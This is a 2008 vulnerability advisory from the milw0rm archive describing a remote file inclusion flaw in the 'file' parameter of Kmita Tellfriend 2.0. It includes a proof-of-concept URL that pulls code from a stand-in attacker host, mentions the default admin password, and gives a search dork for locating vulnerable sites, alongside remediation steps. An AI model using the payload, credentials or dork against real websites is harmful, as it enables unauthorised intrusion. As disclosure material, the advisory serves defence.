Kmita Tellfriend 2.0 - 'file' Remote File Inclusion

EDB-ID:

5544


Author:

K-159

Type:

webapps


Platform:

PHP

Date:

2008-05-05


____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \  
 |    __)_ /    \  \//    ~    \/   |   \ 
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/ 

                                        .OR.ID
ECHO_ADV_93$2008

-----------------------------------------------------------------------------------------
[ECHO_ADV_93$2008]   Kmita Tellfriend <= 2.0 (file) Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author         : M.Hasran Addahroni
Date           : May, 5 th 2008
Location       : Jakarta, Indonesia
Web            : http://advisories.echo.or.id/adv/adv93-K-159-2008.txt
Critical Lvl   : High
Impact	       : System access
Where	       : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Kmita Tellfriend
version       : <= 2.0
Vendor        : http://www.kmita-tellfriend.com/
Description   :

Utilize your website's maximum capacity. Harness your existing visitor turnover itself to increase your website traffic.
Well, this is what Kmita Tell Friend v2 is all about. Kmita Tell Friend installs easily and lets you provide a link on your website so that your visitors can recommend your website to their friends.
There are lots of options and customizations ranging from specifying the success page to dynamically specifying the page URL. Kmita Tell Friend can handle unlimited number of recommend forms in one installation itself, that means you need not copy the script over and over again for different recommend forms
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

Input passed to the "file" parameter in htmlcode.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.


Poc/Exploit:
~~~~~~~~~

http://www.target.com/kmitaadmin/kmitat/htmlcode.php?file=http://attacker.com/evil?

Note: sometimes need to login first.the default user & password are admin


Dork:
~~~~
Google    : "Powered by Kmita Tell Friend" "allinurl:/kmitat/"
 

Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn off register_globals in php.ini
 

Timeline:
~~~~~~~~

- 02 - 05 - 2008 bug found
- 05 - 05 - 2008 vendor contacted
- 05 - 05 - 2008 advisory released
---------------------------------------------------------------------------

Shoutz:
~~~~
~ ping - my dearest wife, zautha my light of eyes, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v, az01,negative,the_hydra,neng chika, str0ke
~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0maly,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b
~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R, kuntua, stev_manado, nofry,k1tk4t,0pt1c
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
~ special for rgod - good bye mate, thanks for the great works.
---------------------------------------------------------------------------
Contact:
~~~~~

     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

# milw0rm.com [2008-05-05]